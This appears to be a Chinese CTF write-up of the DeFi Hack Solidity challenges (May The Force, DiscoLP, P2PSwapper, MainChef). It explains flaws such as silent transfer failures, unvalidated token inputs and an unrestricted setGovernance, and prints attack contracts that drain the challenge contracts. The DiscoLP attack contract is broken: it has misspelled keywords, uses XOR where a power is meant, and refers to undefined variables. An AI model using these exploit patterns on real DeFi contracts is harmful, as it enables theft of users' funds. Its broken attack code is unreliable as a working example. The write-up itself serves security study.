DeFi Hack

由于这个是一个题目集,就写在一起,做个写题记录
五个题目的源代码,都在这里了:
源代码:点击

May The Force Be With You

题目要求是:要取得合约中所有的代币

首先还是看代码,合约代码,还是简单,重点还是看向withdrew函数,要撤回合约中的所有代币,

function withdraw(uint256 numberOfShares) external nonReentrant {
// Gets the amount of xYODA in existence
uint256 totalShares = totalSupply();
// Calculates the amount of YODA the xYODA is worth
uint256 what =
numberOfShares.mul(yoda.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, numberOfShares);
yoda.transfer(msg.sender, what);

emit Withdraw(msg.sender, what);
}

有个tranfer函数,

function transfer(address _to, uint256 _amount) public returns (bool success) {
return doTransfer(msg.sender, _to, _amount);
}

又是一个doTransfer函数

function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
if (_amount == 0) {
return true;
}
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
if (balances[_from] < _amount) {
return false;
}

// First update the balance array with the new value for the address
// sending the tokens
balances[_from] = balances[_from] - _amount;
// Then update the balance array with the new value for the address
// receiving the tokens

require(balances[_to] + _amount >= balances[_to]); // Check for overflow
balances[_to] = balances[_to] + _amount;
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}

一路看下来,我并没有看见什么地方漏洞,那么又去看看deposit的函数,能不能免费给我们mint代币,果然发现了蹊跷,deposit函数中也存在dotransfer函数,而且它和transferfrom函数的表达上还有些歧义,如果dotransfer函数中,由于aomunt值太大,会导致deposit函数中的transferFrom函数直接返回flase,那么就意味着我们给合约转账失败,换句话来说就是我们可以免费获得x代币,然后再调用withdrew函数,就能获得大量的代币,把合约掏空。

if (balances[_from] < _amount) {
return false;
}

攻击思路;首先调用deposit函数,存入数量很大的amount,让合约给我们免费mint x代币。然后再调用withdrew函数,就能获得合约中的所有代币了。

总的来说这个题,就是要要看好使用的哪些函数,而且他们的返回值都是bool类型的,然后再继续的找漏洞,理清合约的逻辑,敢于想象

DiscoLP

题目要求是:
DiscoLP 是一个全新的流动性挖矿协议!您可以通过存入一些 JIMBO 或 JAMBO 代币来参与。所有流动性将提供给 JIMBO-JAMBO Uniswap 对。通过向我们提供流动性,您将获得 DISCO 代币作为回报!

您有 1 个 JIMBO 和 1 个 JAMBO,您能获得至少 100 个 DISCO 代币吗?

看向合约代码,只有一个主函数,depositToken,检查它有没有token的计算错误,
发现都是正常的,但是漏了一点

function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares)
{
if (_amount == 0) return 0;
address _router = $.UniswapV2_ROUTER02;
address _token0 = Pair(_pair).token0();
address _token1 = Pair(_pair).token1();
address _otherToken = _token == _token0 ? _token1 : _token0;
(uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves();
uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount);
if (_swapAmount == 0) _swapAmount = _amount / 2;
uint256 _leftAmount = _amount.sub(_swapAmount);
_approveFunds(_token, _router, _amount);
address[] memory _path = new address[](2);
_path[0] = _token;
_path[1] = _otherToken;
uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1];
_approveFunds(_otherToken, _router, _otherAmount);
(,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1));
require(_shares >= _minShares, "high slippage");
return _shares;
}

在主函数中,调用_joinPool函数时,没有对token的来源进行检查,也就是说,只要pair对随意俩个token,就能mint DISCO
我们可以自己创造一个pair,然后赋值大量的token,给原本的流动性池提供该token。这样就能获得奖励的lp币

Uniswap 的设计方式是必须以相同比例存入一对代币,但此功能允许质押单个代币,将价值的一半换成第二个代币。作为回报,授予了 LP 股票。

depositToken函数不仅限于 JIMBO 或 JAMBO 令牌,而是实际上接受任何令牌,没有对参数进行验证。这意味着几乎可以质押任何代币,从而可以凭空铸造 DISCO。虽然原因很简单,但攻击执行需要多个步骤。

攻击合约:

//SPDX-License-Identifier:MIT 
pragma solidity^0.8.13;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface UniswapV2Factory{
function createpair(address token0,address token1) externals return (address pair);
}

interface UniswapV2Router {
function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity);
}

interface Discolp{
function depositToken(address _token,uint256 _amount,uint256 _minShares) external;
}

contract Token is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public {
_mint(msg.sender, 2**256 - 1);
}
}

contract Hack {
UniswapV2Factory factory;
UniswapV2Router router;
Discolp discolp;
uint256 balance;


constructor (address _factory,address _router,address _discolp){
factory = UniswapV2Factory (_factory);
router = UniswapV2Router (_router);
discolp = Discolp (_discolp);
}

function pwn() exteranl{
Token usdc =new Token("USDC token","USDC");
usdc.approve(factory,2^256-1);
usdc.approve(router,2^256-1);
//创建tokenA(JIMBO代币),保证后续swap操作得以通过
ERC20(tokenA).approve(router,2^256-1);

//创建JIMBO-usdc对
address pair = factory.create(address (usdc),address(tokenA));

//添加流动性
(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
address(usdc),
address(tokenA),
100000000000 * 10 ** 18, //增加流动性usdc的数量
1 * 10 ** 18,//增加流动性JIMBO数量
1, 1,
address(this),//接受lp的地址,合约本身。
2**256 - 1);
DiscoLP(instance).depositToken(address(evil), amount, 1);

uint256 balance = discolp.balanceOf(address(this));
}
}

这就是以上的攻击代码,总结以下,关于流动性的题,首先要看,token的计算,再看逻辑,然后一些检查条件,是否可以再次创建pair,进行套利。

P2PSwapper

题目要求:
P2PSwapper 是一款适用于任何资产的超级方便的零信任 P2P DEX! 费用是固定的,所以欢迎鲸鱼! 此外,我们还有一个推荐计划,所有费用都在我们和主要所有者之间平均分配。

我们创建了一个样本交易并为此存入了一些资金。我们希望确保您无法提取分配给我们交易的费用。

您必须从 P2PSwapper 的余额中耗尽所有 WETH 代币。

看向主要的P2P_WETH合约,其实漏洞就遇到过几次了,
这是库合约中的函数

function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}

和之前的一样,就是外部调用,没有进行对token地址的检查,所以可以自己编写一个攻击合约,就是一个token合约,可以进行攻击

FakerDAO

由于已经关网了,这个题要合约实例才能写,个人理解

Main Khinkal Chef

题目要求,还是要消耗合约中所有代币

这个合约,就是前期有点难看懂,其实就是实现了一个流动性池的的奖励机制

漏洞就在于这个函数

// Update governance address by the governance.
function setGovernance(
address _governance
) public {
require(msg.sender == owner() || msg.sender == _governance, "Access denied");
governance = _governance;
}

由于传递了参数,这个governance我们就可以改动,一旦成为了,管理员,那么我们就可以自己创建一个流动性池,然后利用自己合约是个代币合约,给原合约转入很多代币,以便后面消除它

攻击合约

//SPDX-Lincense-Identifier:MIT
pragma solidity ^0.8.12;

import "../levels/MainChef.sol";

contract MainChefAttack {
uint pwned;
uint tradeId;
MainChef target;

constructor(MainChef _target) public {
target = _target;
pwned = 0;
}
//前期准备工作
function prepare() public {
/先成为governance
target.setGovernance(address(this));
//将自己合约作为一个新的lp代币,添加到流动池中
target.addToken(IERC20(address(this)));

target.deposit(1, 500010319375738048); // (31333333337 + 313337) / 2 * 1e12 / 31333
}

function hack() public {
target.withdraw(1);
}
//为了满足原合约对lp代币的一些require,(也就是绕过某些条件)
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
return true;
}

function balanceOf(address a) external returns (uint) {
return 1e18;
}
//做一个检查,是否转账成功了
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
if(pwned != 0) return true;
pwned += 1;
target.withdraw(1);
return true;
}
}

个人觉得就是没有注意逻辑性,可以随便更改governance,然后操控权控制在自己手中